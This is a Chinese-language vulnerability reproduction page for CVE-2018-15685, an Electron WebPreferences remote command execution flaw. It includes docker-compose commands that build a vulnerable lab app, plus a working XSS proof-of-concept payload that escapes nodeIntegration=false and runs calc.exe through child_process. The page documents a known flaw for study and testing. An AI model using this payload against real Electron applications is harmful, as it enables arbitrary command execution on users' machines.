menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2018-15685)Electron WebPreferences 远程命令执行漏洞 chevron_right (CVE-2018-15685)Electron WebPreferences 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2018-15685)Electron WebPreferences 远程命令执行漏洞.md
    1.71 KB / 2021-07-15 19:51:25
        (CVE-2018-15685)Electron WebPreferences 远程命令执行漏洞
    ==========================================================
    
    一、漏洞简介
    ------------
    
    Electron在设置了`nodeIntegration=false`的情况下(默认),页面中的JavaScript无法访问node.js的内置库。CVE-2018-15685绕过了该限制,导致在用户可执行JavaScript的情况下(如访问第三方页面或APP存在XSS漏洞时),能够执行任意命令。
    
    二、漏洞影响
    ------------
    
    GitHub Electron 1.7.15版本,1.8.7版本,2.0.7版本,3.0.0-beta.6版本。
    
    三、复现过程
    ------------
    
    ### 编译APP
    
    执行如下命令编译一个包含漏洞的应用:
    
        docker-compose run -e PLATFORM=win64 --rm electron
    
    其中PLATFORM的值是运行该应用的操作系统,可选项有:`win64`、`win32`、`mac`、`linux`。
    
    编译完成后,再执行如下命令,启动web服务:
    
        docker-compose run --rm -p 8080:80 web
    
    此时,访问`http://www.0-sec.org:8080/cve-2018-15685.tar.gz`即可下载编译好的应用。
    
    ### 漏洞复现
    
    在本地打开应用:
    
    ![](./resource/(CVE-2018-15685)ElectronWebPreferences远程命令执行漏洞/media/rId26.png)
    
    点击提交,输入框中的内容将会显示在应用中,显然这里存在一处XSS漏洞。
    
    我们提交\`\`,发现没有任何反馈,原因就是`nodeIntegration=false`。
    
    此时,提交POC(Windows):
    
        <img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
    
    可见,calc.exe已成功弹出:
    
    ![](./resource/(CVE-2018-15685)ElectronWebPreferences远程命令执行漏洞/media/rId27.png)
    
    参考链接
    --------
    
    > https://vulhub.org/\#/environments/electron/CVE-2018-15685/
    
    
    links
    file_download